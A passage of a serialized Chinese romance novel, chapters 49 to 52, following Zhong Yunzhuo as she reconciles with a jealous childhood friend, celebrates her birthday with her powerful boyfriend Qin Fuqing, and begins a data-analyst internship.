钟缊酌又想起昌叔对她说过的话,倘若现在袒露自己想去留学的心思,他必定会追问有几成把握,需不需要他帮一手。 他知道她家里现在的情况,大抵不会袖手旁观。 钟缊酌思虑再三后,含糊着回了句:“还不一定呢,走一步看一步吧。” 就这么几天的功夫,不知什么原因,院儿里的很多人突然就知道了她和秦拂清交往的事。 钟缊酌在电话里跟宋黎若诉苦:“她们怎么跟你说的?我明明谁都没讲过啊。” “说是有人看到过秦拂清的车来院儿里接你,然后就传开了。”宋黎若琢磨了下,“这种传播速度,我很怀疑是杜家那俩瘟神干的。” “不管是谁干的,反正已经这样了,也不知道敬舟知晓这件事没” 那边响起一道无情的声音:“他知道了,他就在我旁边呢。” 钟缊酌大惊,“啊?他去找你聊了?” 宋黎若看了眼牌桌上那位面无表情的小伙子,砸了砸嘴说:“并没有,我们在臻悦会所一起打牌,这儿的一屋子人应该都知道了。” 臻悦会所是谈勉家开的,在南锣鼓巷那一块,钟缊酌听宋黎若念叨过,也是他们小时候常聚的地方。 这时候有人问宋黎若在和谁打电话,她一说出来钟缊酌的名字,立马就有人喊,让缊酌赶紧过来,有话跟她说。 “你听到没?”宋黎若回到话筒旁边,“何颂言点名叫你过来呢,你俩没结仇吧?” “净瞎说,我俩能结什么仇。” “那你来不来?先提醒一句,敬舟看起来可不怎么高兴。” 钟缊酌咬了咬牙,心说早晚得面对他,她撂下一句地址发来,就挂了电话。 其实钟缊酌大概也能猜出何颂言找她什么原因。 想必是那日在球场时几人口无遮拦开秦拂清的玩笑,现在知道他俩在一起,想解释一下之类的。 但她真想象不出大家若是再聊起这事儿,到底谁会更尴尬。 臻悦会所采用的是会员制,钟缊酌第一次来,还在纠结是报宋黎若还是谈勉的名字时,前台服务员直接开口问:“请问您是钟小姐吗?” “是的。” “麻烦跟我来。” 穿过富丽堂皇的走廊,服务员一直将她带到棋牌室,钟缊酌推开门,看到一屋子的熟人正欢声笑语地切磋牌技。 她扫了一圈,却没看见涂敬舟。 宋黎若正玩儿得高兴,只跟她招了下手便继续盯手上的牌,还是在一旁嗑瓜子的何颂言将她领到沙发旁。 孟彤也围过来,俩人就跟多少年没见着自个儿闺女的老母亲似地拉起她的手说:“缊酌,你可别误会,我们那时全在胡说八道呢,我们对秦总可没半点儿非分之想。” “对对,那都是嘴嗨,你千万别放在心上。” 钟缊酌想哭又想笑的,她怎么会放在心上,她就怕她们放在心上,还特意来解释一番,弄得场面怪尴尬的。 “你们不说我都给忘了。”钟缊酌皮笑肉不笑地打着哈哈,“放心吧,我完全没往心里去。” 两人同时松了口气,“那就好。” 话题一揭过,氛围松弛起来,孟彤又八卦起他们交往的过程,问谁追的谁。 钟缊酌欲言又止,“嗯”了半天也没蹦出一个字。 这个东西一旦讲起来可没完没了,她挠挠头,左顾右盼道:“那个,你们看见涂敬舟了吗?我没找到他。” “他刚刚输了两把,可能心情不大好,去隔壁看电影去了。”何颂言说。 “那我过去看看他,咱们下次再聊。” 钟缊酌也算给自己找了个合适的离开理由,客气地跟两人挥手告别。 屋内的喧嚣被一道门隔离开,钟缊酌来到另一间电影房。 除了屏幕里传来的影片声音,周围寂静无声。这里显然只坐了一个人,她冲着底下黑压压的一片座位处喊了声:“敬舟。” 涂敬舟坐在大概中间的位置,斜靠在沙发椅上,架着二郎腿,眼睛一动不动地盯着前面。 听到声音后,也不看她,只道一声:“进来坐。” 他对她的态度比往常冷漠了好几分,钟缊酌心脏缩紧,意识到涂敬舟可能比自己想象得还要生气。 她迈着沉重的步子往里走,一直绕过几排座位,来到他跟前。 钟缊酌一眼看见他右手边的杯托里放了半罐啤酒。 琢磨了半天的开场白顿时堵在胸口,钟缊酌实在不知如何开口,只能默不作声地坐了下来。 她跟着看向大屏幕,这是一部挺老的片子,钟缊酌印象中还是很小的时候上映过。 但她这会儿心思定然不会在电影上,耳朵正竖起时,就听旁边的人忽然问:“来找我做什么?” 明知故问,阴阳怪气,看来确实是气得不轻。 钟缊酌勉强挤出一个笑。 “我是来跟你道歉的。”她坦诚道。 涂敬舟嘴巴动了动,却没发出声音。 钟缊酌继续讲:“我和秦拂清交往之后,在想到你时确实有点儿心虚,所以没在第一时间告诉你。” “这件事我确实做得不好,我不应该瞒着你。” 涂敬舟拿起啤酒罐灌了一大口,咽下去之后,手指把瓶身捏出一个凹陷:“咱院儿里那么多优秀的男生,你和谁交往不好,就非得是他。” 钟缊酌垂下头,默默摆弄自己的衣角:“我知道你不待见他,我也不想这样,可感情这种东西很难用理智操控的。” 涂敬舟从鼻腔里发出一道哼声,“我当初和你说过什么?秦拂清不是什么好人,离他远点儿,你是丝毫没听进去。” 钟缊酌眼圈开始红了,外人说她什么都无所谓,但她受不了好朋友这样讲。 她想反驳他,想语气强硬一些,却又什么都说不出口。 涂敬舟对她那么好,当亲妹妹一样看待,她脑子里浮现的只有曾经他怎样帮他怼杜家兄妹,向他请教任何问题都能不厌其烦地解答,每次回国还会带礼物给她和若若。 “算了,反正已然如此,我也不可能劝你跟他分手。” 涂敬舟按下遥控将电影关掉,整个屋子瞬时安静下来,他手指捏易拉罐的声音显得格外清脆,“你把秦拂清叫来,我跟他说几句话。” 钟缊酌瞪大眼睛:“现在吗?” “对,就现在。” 虽然今天是周末,但秦拂清那个工作狂,也不一定能有时间。 钟缊酌盯着手机看了几秒,心下一横,给他发过去一条:【你这会儿忙不忙呀?】 发完之后,她像是脱力一般,浑身虚弱,把手机直接丢到扶手上,直到屏幕再次亮起。 FU:【忙,不过我可以腾出时间,一个小时够不够?】 钟缊酌扣着手机边,真不知该怎么说了。 犹豫之时,那边的电话就打了过来。 钟缊酌看了看旁边正闭眼休息的人,屏住呼吸,几步走到窗边,才慌忙按下接听键。 秦拂清的嗓音听上去有些疲惫:“怎么了?” “我在臻悦会所这边,你方不方便过来一下呀。”钟缊酌明显感觉到自己的声音在发颤。 秦拂清察觉出她的异常,语速加快了些:“出什么事了。” 其实她可以拒绝的,也可以完全不理会涂敬舟的要求,只是钟缊酌心里那点儿愧疚感不停地跳出来作祟,她宁愿说出来之后,再由秦拂清拒绝她。 钟缊酌咽了咽嗓子,喃喃地说:“我没事其实不是我想找你,是涂敬舟。” 对面沉默下来。 有那么一刻,钟缊酌觉得他可能要发火了。 他应该还在忙工作吧?自己却不知轻重地来跟他讲这些莫名其妙的话。 谁知到了最后,秦拂清只是平静地问一句:“他找我做什么?” “他说想找你聊聊。”钟缊酌兀自紧张搅动着手指,几乎是用气音小声补充,“你是不是在忙?不来的话也没关系,我会跟他解释。” 钟缊酌这会儿左右脑在一个劲儿地互搏,一方面她努力帮涂敬舟把话带到,另一方面又不太想让秦拂清来。 这俩人每次见面就跟吃了枪药似的,现在因为她的关系,更要互相看不顺眼了。 钟缊酌却听到那边传来一声淡笑,“不用,我忙完手头的事就过去。” “我还真想听听,借了你的胆子之后,他能对我说出什么话来。”秦拂清说。 作者有话说:评论区掉落红包~ 第50章 钟缊酌坐在宽敞明亮的接待室里, 看着桌上那杯茶里袅袅升起的白雾,直到热气散尽,也未喝上一口。 涂敬舟出去抽烟了,她已经干坐了两个小时, 每一分每一秒都如坐针毡。 明明不需要她做什么, 钟缊酌却比两个当事人还要紧张。 身旁的手机响起, 钟缊酌心跳停了半拍,慌忙拿起来一看,原来不是她想的那个人,是宋黎若。 “你去哪里了呀?孟彤说你到隔壁找敬舟去了,我刚刚看了一圈也没找到你们。” “我在接待室呢, 在这边有点事情要处理。” 钟缊酌以为她是要回家,结果宋黎若说:“行, 那你处理完还回来吗?我要待到很晚。” 看看吧,还不一定。” 宋黎若那边有人喊她出牌, 她应了声转头跟钟缊酌说完最后一句话,“你想玩儿记得来找我啊。” 电话挂断, 钟缊酌听到有人敲门。 “咚咚咚”, 很轻也很有礼貌,她喊了声“请进。” 进来的是一位身穿蓝色制服戴着白手套的服务员, 他没说太多客套的话, 开门见山道:“钟小姐, 刚刚涂总说他要等的人来了, 他就先过去了。” 钟缊酌一听, 急急站起来问:“他们现在在哪儿?” “好像是在会所门口,我看外面停了辆黑车。” 钟缊酌立即跑到窗边,只见金色牌匾旁的白线下, 正静静卧着一辆宾利。 车子只开了半扇窗,看不到里面的人,而涂敬舟正站在旁边说着什么。 真的是,他来了怎么都不告诉她一声啊 秦拂清是在十分钟之前到达的臻悦会所。 门口的保安算是有些眼力见,看出此人身份不简单,恭恭敬敬上前询问:“您好,请问您是这里的会员吗?” 车窗落下半道,秦拂清一张毫无表情的脸看过来,他身上的气势让保安不由得心头一颤,“你去里面找一个叫涂敬舟的,告诉他,他等的人已经到了。” 既然不是会员,按理说也无需和他客气,可保安仍旧很听话地按照他的吩咐去做了。 后来回想起来,大概是和这些高门子弟接触多了之后,能自动分辨出他们身上的特质,知道哪些人该惹哪些人不该惹。 那会儿涂敬舟还在抽烟,听完保安的话也没立刻出门,故意晾了外面的人几分钟。 他是真的恨,凭什么那姓秦的夺走自己父亲的前途,他儿子又来夺走自己的好朋友。 他们涂家是上辈子欠了他的吗? 涂敬舟带着一胸腔的火气站在门口台阶处,见车里的人也没个动静,才往前几步说:“去接待室?” 秦拂清身体后仰靠在座位上,慢条斯理地将另一半车窗降下,算是给他的最后尊重:“不必,就在这儿说。” 涂敬舟咬了咬牙,在心里冷嗤一声,摆出居高临下的架势:“我不管你是用什么手段勾引缊酌的,她人单纯,但不代表可以任人欺负。你若是以后敢做对不起她的事,我不会放过你。” 对面的男人在用指腹撵着方向盘真皮套,片刻后,凉凉的眼风扫过来,“你是在用什么身份跟我讲这些话。” “自然是作为缊酌的哥哥。”涂敬舟不甘示弱道。 秦拂清扯了下唇,挺好笑似地讽刺:“你自称是她哥哥,钟缊酌知道这事儿吗?” 涂敬舟的耳朵瞬间红了。 他没继续这个话题,愤恨地指出:“你不要以为自己权势滔天就可以随意玩弄别人的感情,你在和她交往这段时间,最好只有她一个女朋友。” 钟缊酌就是在这个时候,从门厅里走了出来。 秦拂清的嘴唇动了几下,她没听清他讲了什么,只是注意到那双眼睛里透着一抹刺骨的凛冽,叫人看了不寒而栗。 钟缊酌极少有机会能看到他这样的眼神。 在说完这句话的同时,秦拂清按开门下了车。 他迎着钟缊酌的方向,刚刚那道令人发颤的目光已经不见了,就好像什么都没发生一般伸出手:“缊酌,过来。” 钟缊酌已经走到了涂敬舟的身旁,她能感受到他的身体在发抖,像是被气得,他手上攥紧了拳头,钟缊酌本想说几句话,却被他这副样子吓得闭上了嘴。 她最后只深深看了他一眼,便来到秦拂清身边,跟着他上了车。 钟缊酌最担心的事情还是发生了。 刚刚在接待室里,有那么一刻她还抱着侥幸心理,在想两人这次说通之后,关系会不会变得平和些。 她不知道两人聊了什么,但看那副场景绝对不是什么好听的话。 钟缊酌坐上车之后一直沉默着,她心情五味杂陈,没意识到这份安静多么让人窒息,最后还是秦拂清忍不住开口问:“在想什么?” 钟缊酌低下头,言不由衷地回:“没什么。” 她忘记秦拂清可不是那么好骗的人,他无声地笑笑:“挺好奇我们两个谈话内容的吧。” 钟缊酌没说话,也代表默认了。 秦拂清手指轻敲着方向盘:“其实也没什么特别的,他说了半天,也无非是表达一个意思,让我对你好点儿,别三心二意。” “那你怎么回答的?我看他最后那个反应像是受到了很大的刺激。”钟缊酌小声嘀咕。 秦拂清神色淡然地跟她讲:“我说我没你们家那种家风。” 他看到旁边的女孩睁大眼睛,茫然地看过来,接着又哂笑一声,“我也只是实话实说而已,涂裕明在夫人怀孕时包养过情妇,他大概以为这件事外人都不知情。” 空气霎时凝滞下来。 钟缊酌脸色瞬间变得很难看,脑子里在嗡嗡作响。 伯父明明看着很憨实儒雅,竟然会做这种事? 敬舟是什么时候知道的?他一定难受死了。 她内心受到了不小的震颤,好半天没缓过来。 钟缊酌这一路都心不在焉的,以至于旁边的男人聊起什么,她回答得都很敷衍。 秦拂清后来问她喜欢什么颜色,她也没往心里去- 宋黎若看得出来,这一段时间缊酌心情不太好,可她套了半天话也没套出个所以然来。 “我记得那天在会所的时候,你说有事情要处理,到底是什么事呀?”她不死心地问。 钟缊酌也是没辙了,撑到最后还是跟她坦白:“若若,不瞒你说,那天在会所,秦拂清来找我了。” 宋黎若几乎秒懂:“我靠,那敬舟跟他岂不是见上面了?” “何止见面,还深入交流了一番呢。” 宋黎若连叹好几下,“我都能想象出敬舟哥的下场会有多惨。” 钟缊酌也跟着附和,直说早知道就不告诉秦拂清这事儿了,甚至后知后觉地想她那天就不该去会所。 “若若,我想我们要不要抽个时间去看看他,总觉得心里过意不去。” “你就别去了,他看到你又该受刺激了,我来安慰他吧。”宋黎若说。 后来的两周内,钟缊酌都没再跟秦拂清见过面,他也是忙,只约她出来过一次,那次钟缊酌还找了个借口没去。 她也说不上来什么原因,就是想一个人静静。 八月二十二号这天,是钟缊酌的生日。 陶姨一大早就出去买菜了,问她中午想吃什么,钟缊酌说按照她平时的喜好来就可以。 其实她现在对于过生日这件事已经越来越佛系,甚至有时候连蛋糕都懒得买。以前家里有钱的时候,每次都要过得很隆重,要有仪式感,后来仔细想想,无非是又长大一岁,也没什么特别的。 涂敬舟这几天不在国内,说回来给她带礼物,宋黎若则表示晚上要请她去京季吃官府菜。 让钟缊酌觉得特别开心的是,这意味着涂敬舟并没有因为和秦拂清吵架的事记恨她。 一直到中午吃完饭,钟缊酌正准备去睡午觉,忽然来了个电话。 她看到屏幕上那个名字时,顿了几秒,才犹豫着接起来。 “我先跟你道个歉,这么晚才打给你。”秦拂清的语速很快,似乎是百忙之中抽出了一点时间。 钟缊酌纳闷,这还没到晚上呢,为什么说晚? 她应和着“嗯”一声,“什么事呀?” “什么什么事,今天不是你生日吗?”秦拂清气得想笑,“我就算再忙,总不能忘记女朋友的生日。” 钟缊酌垂下眼,心里琢磨着小九九,“可是我好像没跟你说过我生日是哪天呀。” “这么点儿小事我还查不到啊,那别出来混了。”秦拂清像是没空跟她废话了,言简意赅道,“下午三点左右我去接你,可以吗?” 钟缊酌愣了下,“做什么?” “给你过生日。”那头听起来显然已经无语到了极点。 钟缊酌尴尬地傻笑了下说:“可以” “那晚些见。” 然后秦拂清就挂了电话。 钟缊酌盯着手机发了半天呆,总算思考清楚一件事。 冯伯那里就有她的简历呀,她哪天生日还不是一目了然。 钟缊酌感慨自己大脑缺根弦的同时,又想起和宋黎若约饭的事。 秦拂清那边两三个小时大概结束不了,无奈,只能暂时牺牲好友了。 不知道宋黎若会不会骂她重色轻友 钟缊酌睡醒后去化了个淡妆,这是和秦拂清在一起后过的第一个生日,多少还是要打扮得正式一些。 不多时,来接她的车子到了,钟缊酌跑下楼。 秦拂清看到她后,视线在那只红唇上停留了片刻,然后侧过身来给她系安全带。 “干什么呀,我自己又不是不会系。” 秦拂清一只手撑着椅背,很绅士地说:“今天就不让寿星亲自动手了。” 这一招虽然俗,但还是挺受用的。 钟缊酌荡着腿,心情也跟着雀跃起来,过了一会儿才想起来问:“我们这是去哪里?” “去我家。” “啊?你家?”钟缊酌心里顿时七上八下的,一时不知他是说真的还是在开玩笑。 秦拂清笑了笑说:“另一个家,不是四合院那个家。” “噢” 钟缊酌心想,这人怎么说话大喘气,快被他吓死了。 这一路还算通畅,半小时后两人便到了西山壹号院。 钟缊酌抬头看了眼小区名字,她知道这个地方,听说里面住了很多政商界大佬,布局也是多样,有别墅,公寓还有大平层。 秦拂清带着她一直往里开,穿过百米梧桐大道,高尔夫球场,最后停在了一栋别墅前。 “这里一直没人住,我最近让人打扫出来了。” 钟缊酌看着眼前恢宏气派的住宅,点了点头,问他:“你以后就打算住这儿了吗?” “周末会来这边,平时还得回四合院。”秦拂清简明扼要地解释了下,然后牵起她的手,抬腿走上台阶,“进去吧。” 钟缊酌猜想可能会在里面给她准备了蛋糕什么的,结果等大门打开的一瞬间,她整个人几乎傻掉了。 整个地板铺满了粉色的雪山玫瑰,过道两侧摆放着各种各样的鲜花,玫瑰,郁金香,蝴蝶兰,风铃花,洋桔梗,五颜六色的气球飘在吊灯旁,而墙壁上也用装饰灯摆出了漂亮大气的祝福语。 钟缊酌不是没见过世面的姑娘,可这一刻,她还是被眼前的一幕震撼到了。 她挠着秦拂清的手心,有些不知所措:“你什么时候弄的呀?干嘛搞得这么隆重。” 秦拂清弯唇道:“也不算太隆重吧,没这方面经验,我还担心你会嫌弃呢,不知道你喜不喜欢这些花的品种。” 钟缊酌脸上飞起红晕,意识到自己并不是真的不在意仪式感了,而是缺少那个陪伴她的人。 “谢谢,我很喜欢。”她轻声说。 这一路几乎无处下脚,钟缊酌踮着脚尖,踩在那些花瓣上,被秦拂清牵着走到客厅。 四周窗帘拉着,光线被遮挡在外,半明半暗的视线里,钟缊酌看到正中央的位置似乎摆了一个半米高的蛋糕,被底座高高托起,造型很像一座城堡。 “来,先许个愿。” 秦拂清打开灯,暖色的光线照射下来,“城堡”的真面目也清晰映入眼中。 是由白色奶油和金箔打造的蛋糕造型,每一层都饰有糖霜雕花和珍珠,还错落有致地铺着一些深红色的玫瑰花瓣,竟有股血色浪漫的梦幻感。 钟缊酌坐下来,闭着眼睛许了一个在脑海里已经徘徊许久的愿望。 “我许完了,是不是可以吃蛋糕了呀。” 秦拂清眉眼含笑:“别急,再把眼睛闭起来,有东西要给你。” 钟缊酌乖乖地听话照做,没一会儿,她忽然感觉手心里多了个重物。 “睁开吧。”秦拂清说。 那是一只精致的首饰盒子,盒子里放着一条紫色玻璃种翡翠项链。 质地纯净透明,如同玻璃一样清澈,在灯光下闪动着晶莹剔透的光泽,美得令人心醉。 钟缊酌心脏扑通扑通直跳,难怪那天要问她喜欢什么颜色,原来是在这里准备着呢。 “你说你喜欢紫色,我思来想去,就觉着这个最合适。”秦拂清很认真地说,“只是不知道你喜欢深一点还是浅一点的,戴上试试好不好看。” “我”钟缊酌明显有点慌了,她知道紫色玻璃种是翡翠里最昂贵的品种,“这个礼物我不能收,太贵重了。” 钟缊酌把首饰盒子小心放到茶几上,“其实我喜欢的颜色挺多的,白色,蓝色,那天只是随意说了一种,没想到你” 秦拂清定睛看着她,脸上辨不出喜怒来。他重新拿起那条项链,在钟缊酌的错愕表情中,亲自给她戴在了脖子上。 而后,也顾不得会弄花她的口红了,低头在她唇上吻了又吻。 两人额头相抵,贪婪着对方的气息。 秦拂清微哑的嗓音在房间里响起:“缊酌,我知道你这段时间对我有怨气,我伤害了你的好朋友,我对他问心无愧,但我有愧于你。” “这条项链就当是我对你的补偿,好吗?” 作者有话说:评论区掉落红包~【..top】 50-60 第51章 秦拂清长指捋着女孩的头发, 一下下帮她顺好。 钟缊酌躺在他怀里,气息还有些不稳。两人刚刚激吻过,他恢复得快,小姑娘面色却仍然泛着红润。 “缊酌, 起来吃蛋糕了。”秦拂清抚着她的脸说。 钟缊酌挪了下身子, 撒娇似地摇头, “不要,再躺一会儿。” 秦拂清拿她无奈,“我不能待太久,晚上还有个饭局。” “那我问你最后一个问题好不好。”钟缊酌闭着眼,声音像春风拂柳般轻柔, “你是从什么时候开始喜欢我的呀?” 秦拂清失笑,小姑娘几乎是问了他一个最难回答的问题。 究竟什么时候动的心?他去抽丝剥茧地一点点回忆, 也终究没捋出个门道来。 或许是在秦皇岛度假,她满脸赤城毫无邪念地闯入他房间时, 也或许是在西四胡同,他说她身上没有污浊气时, 亦或者是在那清幽的古玩馆里, 他见到那样一个像从画里走出来的少女时。 他不确定自己什么时候动的心,但什么时候开始注意到的她, 绝对比她想象得更要早。 “你还记不记得我们第二次见面的场景。”秦拂清揉捏着她的腰问。 “记得呀, 在古董展那次, 你帮我解了围, 但那副上位者架势实在骇人, 我想说几句感谢的话都没胆子张嘴记得清清楚楚呢。” “你这是讽刺我呢?”秦拂清皮笑肉不笑地加重了手上的力道,“不是那次,再想想。” “啊?不是那次吗, 可我明明记得” 钟缊酌一张清透的脸蛋儿上充满了疑惑,半天也没想起来,只好等着他来解开谜团。 秦拂清眸光微动,不急不躁地开始讲:“在那之前,有次我去你们学校领导谈项目,你那会儿正好要交论文,我们还对视了一眼。” “我当时就在想,我和你的缘分一定不浅。” 钟缊酌霎时挺身坐起来,很没风度地晃着他胳膊,完全没了淑女模样,“你是这样想的吗?我当时看到你真的紧张死了,因为犯了错,还生怕你会开掉我。” 她有些惊奇地和他确认:“所以你对我难道是一见钟情?” 秦拂清笑了笑,“也不算吧,但那时确实开始注意你了。” 这些年他阅人太多,从眼神气态上就能辨出个一二来。 那时的她顶着一张明媚的脸蛋儿望向他,眼神里没有嫉妒,也没有攀附权贵的渴望,只有纯粹的好奇。 所以,他对她也产生了好奇。 钟缊酌又反过来开始调侃他:“你可真能忍呀,过了那么久才跟我表露心意。” “没办法,你对我的误解太多,我没把握。” 钟缊酌从他身上下来,心情极好地拿起刀叉,“那我以后多多补偿你,让你感受到人间有真情。” 她切完之后,才想起脖子上还挂着一件珍宝,赶紧摘下来放回首饰盒里,“我平时出门可不敢戴,先留着吧。” “随你开心。” 钟缊酌嘴边吃了一圈的奶油,拿纸擦了擦,忽然想起什么,很小声地嘀咕起来:“你要是晚上不能陪我,我就和若若约饭去了。” 秦拂清心里多少带了些愧疚,但他没显露出来,只淡淡应了声,“嗯。”- 开学后,大四的课程已经很少,钟缊酌凭借着名校背景和专业成绩加持,顺利应聘上某互联网大厂数据库实习岗位。 入职第一天,所有的东西都是新鲜的,格子间工位,并不认识但会对你打招呼的同事,进每个地方都要刷门禁,就连打扫卫生间的阿姨都无比热情。 钟缊酌跟着HR张萌熟悉完环境之后,来到自己的工位上,张萌又给她推了几个同事的微信:“这几个人是一中心数据组的员工,以后你负责跟他们对接,待会儿主管会来给你交代具体工作。” “好的,谢谢。” 等人走后,钟缊酌趁着空闲,偷偷拍了张自己工位的照片。 心说不愧是大厂,连实习岗工位配置都如此高端,她将照片发给秦拂清,并配上:成为社畜的第一天,心情很激动! 秦拂清给她回了个笑脸,然后说,一个月就保证你下头了。 钟缊酌连发几个气哼哼的表情,还没来得及反驳,已经有人走了过来。 她赶紧放下手机,像个乖乖学生似地端正坐好,眼睛盯着电脑屏幕。 陈婷脸上带着职场人标准的浅笑,废话也不多说,跟钟缊酌一招手:“走吧,先跟我们去开个会。” 会议讲的是新项目的运行规划,钟缊酌也听不懂,瞪着眼睛坐到最后,终于开始说起工作内容分配。 “以后的所有报表暂时交给缊酌来做,她没有系统权限,你们负责进系统导出数据源,然后发给她。” 钟缊酌也大概弄明白了她的工作内容,就是相当于一个报表女工,而且只需要用Excel就可以搞定,可面试明明讲的是要求会SQL和Python。 她也算第一次体会到了那句话,叫面试造火箭,工作拧螺丝。 钟缊酌的自学能力很强,入职以来从没出过差错,她也能看得出来领导对她还算满意。 某一天,她刚交完一份周报,陈婷就过来找她说,报表有问题,再重新检查。 钟缊酌心里一惊,忙道:“我这就看看。” 她将报表整个检查好几遍,字段选取没问题,函数公式也都没错,拉出来的数值自然和之前的结果一样,怎么会有问题呢? 钟缊酌又去找陈婷,有些忐忑地表示:“婷姐,我没看出来哪里有问题。” 陈婷看也没看她:“你的数据源是谁给的?” “喻峰。” “去他那儿问数据源有没有导错。” 于是钟缊酌跑到喻峰的工位上,礼貌说明了来意。 喻峰哦一声,打开微信消息,点了其中一张表进去。 钟缊酌立即看出不对劲,“您最后给我发的不是这张。” 喻峰却没表现出惊讶,反而有点不耐烦地说:“你也没问我应该是哪张啊,我以为你知道。” 喻峰当时发了很多表过来,有的是重复的字段内容,钟缊酌就默认最后那个是正确的版本,她觉得这应该是大家的共识。 钟缊酌闷闷地回到自己工位上,按照他说的正确的数据源表,重新做了一张报表,然后发给了陈婷。 她把事情原委也告诉了她,陈婷并没有说什么,只是邀请她中午一起吃个饭。 钟缊酌很紧张,以为领导要辞退她。她整个人像霜打的茄子一样蔫了吧唧地坐在食堂里,只管低头吃饭,也不说话。 陈婷笑说:“你以后的职场路还长着呢,遇到这么点困难就被打倒了?” “我我只是觉得有点委屈。”钟缊酌喃喃道。 陈婷摇头,放下筷子,从聊天记录里打开那张表:“你看这个广告点击转化率,咱先不管计算过程,这个数值一看就不对,前几周转化率都在30%左右,怎么会突然变成50%?你做数据不是说光一套公式下来给领导发个结果,要对数字有敏感性,有异常的时候就知道肯定是哪里出了错。” 钟缊酌听完之后,心里五味杂陈,她只顾着管公式计算过程有没有问题,从没想过这一层。 “另外,和人对接工作时如果有不确定的信息,一定要当场问清楚,不要怕麻烦,避免事后扯皮。”陈婷语重心长道,“你以后工作久了就知道了,很多时候你觉得自己没错,可领导并不想听你解释这些,管理者要的是把问题解决,不是看大家互相甩锅。” 这话算是对她掏心掏肺在讲了,钟缊酌听得懂,她不再垂头丧气,坐直了身子说:“我明白了,婷姐,谢谢你愿意点拨我。” 这件意外对钟缊酌来说,也算是初入职场的第一课。 在以后很长一段的职业生涯里,她回想起这位愿意放下架子教一个实习生的前辈,都会心存感激,简单的一段话,让她少走了很多弯路。 钟缊酌在实习期间还认识了一位叫傅柠的女孩子,和她同样是实习生,只不过是在不同的组。 两人性格很合得来,认识几天就一起约饭去了。公司食堂的饭吃腻之后,她们两个每天就到附近的餐馆觅食。 有一天中午吃饭时,傅柠接了个电话,她看上去很兴奋,眉飞色舞地连说几个好字。 “什么事儿啊这么高兴。”钟缊酌问。 傅柠撂下手机,嘴角还在咧着,“最近不是想换个笔记本嘛,父母一直不同意,然后我试着求堂哥给我买个新的,没想到他真答应了,说这就送来。一会儿吃完你先上去,我得在门口等他。” “哇塞,速度这么快?” “对呀,昨晚跟他说的,今天上午就去给我买了,好人呐,我以后不能嘲笑他大龄单身了。” 钟缊酌被逗笑,只是她此刻还万万想不到,这个傅柠嘴里的堂哥竟然也是她的熟人。 傅沅宗比他估算的时间提前了十分钟。 当他拿着笔记本下车,看到对面大楼下两个挥手准备告别的女孩子,其中一位当即和他同时愣在了原地。 “他就是你堂哥啊。”钟缊酌不禁汗颜,这世界真小。 “对啊,你们认识?” “算——认识吧。” 虽然说过的话没超过三句。 傅沅宗走过来,把笔记本递给傅柠,然后视线落在钟缊酌脸上,动了动唇却没说什么。 “这么巧。”还是钟缊酌主动打了声招呼。 傅沅宗点头,“你也在这儿实习?” “嗯,我实习的是数据岗。” 傅沅宗若有所思道:“也对,你学的是计算机专业。” 人在面对男女朋友的好友时就是如此尴尬,不说话太没礼貌,想说又不知道说点什么,话多了又怕越界,所以最后只会讲一些没有用的废话。 只是这一幕落在傅柠眼里却显得诡异起来。 这俩人看起来挺熟的,但为什么感觉谈话间有一丝丝地局促? 难不成他们之间有什么猫腻? 傅沅宗和傅柠简单叮嘱几句之后,便同两人告别回到了车上。 钟缊酌似是想起什么,忽然叫住了他:“等一下。” 她跑过去站在车旁,傅沅宗已经降下了车窗,问:“怎么了?” 一想到接下来要问的问题,钟缊酌像是做了亏心事似的,声音也不自觉放低了些,“我想问问你秦拂清的生日是哪天呀?” “这个啊,一月二十号。”傅沅宗说。 还好日子还远,她有足够的时间来挑礼物。 钟缊酌最初本想问冯伯来着,结果她鼓足勇气打电话过去,他竟然说不知道。 思来想去,也只有傅沅宗能问了,她总不能跑去问吴少维。 “那个,还要麻烦你,能不能别把这件事告诉秦拂清,我想给他个惊喜。”钟缊酌带着请求的口吻。 傅沅宗笑了下,“可以。” 钟缊酌松口气,站在原地目送着车子离开。 只是她没注意到,身后的傅柠是怎样的一副吃了大瓜的表情- 秦拂清这段时间的工作很忙,但他仍然会偶尔挤出时间来接钟缊酌下班。 两人能在一起的时候不多,因此互相都很珍惜这难得的机会。 “我现在刚升职不久,等过些日子就会好很多。”秦拂清揉着她的手说。 秦拂清每次回去之后又要接着处理公务,以至于几乎失去了所有私人社交时间。 那个不知多久没见的发小打来电话,“你人还喘气呢?” “废什么话。” “诶我寻思着这京城到处见不着你的人影,还以为真去修仙了呢。” 秦拂清看了眼手表,“说重点,没空听这些。” 傅沅宗叹口气,“明天去喝杯酒行不行?” 这一次秦拂清倒是答应得挺痛快。 只是到了第二天,又是揣着笔记本来的会所。 傅沅宗靠在沙发上,无奈地看着他在那儿敲键盘,“你现在事业够厉害的了,还要做到什么程度?” “希望哪天天塌下来的时候,我能够顶得住吧。” 傅沅宗不置可否,说那都是命,你总不能去跟老天爷博命。 “你最近都在忙什么?”秦拂清终于休息下来片刻,抿了口调过的威士忌,问他。 “还是公益上那点事儿。”傅沅宗垂着眼,把酒杯拿在手里转圈玩儿,“我之前资助过的一个小姑娘今年来京念学,我帮着安排一下。” “考得哪个学校?” “农大。” “挺不错啊,是个好苗子。” 傅沅宗看到手机里蹦出个消息,皱了下眉说:“借你电脑传个文件。” 他用完之后便出去打电话了,像是有什么急事。 等秦拂清再打开电脑时,发现他的邮箱没关,微信也还挂着。 他没多想,随手帮他关掉了页面,只是在鼠标移到微信主界面时,无意中瞥见一个红点。 秦拂清不是爱八卦的性子,也没兴趣窥探好友的隐私,但上面写着【哥,你兄弟挖你墙角!】。 他实在忍不住点开。 前面还发了一张照片,是他接缊酌时被偷拍下来的。两人靠在一起,动作很亲密,俨然是一对情侣的样子。 俯视的视角,那人显然是在楼上拍的。 傅柠。 他对这个名字有印象,是傅沅宗表妹还是堂妹来着?应该见过几次。 秦拂清默了一会儿,没想清楚是哪个环节出了问题。 但他不打算再去做无用的试探,想那么多,倒不如让他自己来解释。 秦拂清拿出手机将眼前的屏幕拍了下来,然后直接发给了傅沅宗。 并在后面附上:【?】 作者有话说:评论区掉落红包~ 第52章 傅沅宗本来心情就不好。 他的助理弄丢了一份重要文件, 幸好他这里还有备份,手机里刚把人骂一顿,撂下一看,又看到一条诡异的信息。 他皱着眉读了一遍又一遍, 确认没有误解其中的意思。 如果不是知道这俩人不熟, 还以为是在合起伙玩儿他呢。 傅沅宗直接拨了个电话给傅柠。 “干嘛这个时候打来啊, 我还在上班呢。”那头的傅柠掐着嗓子埋怨。 傅沅宗气得想笑:“你自己看看你刚刚发了什么东西。” 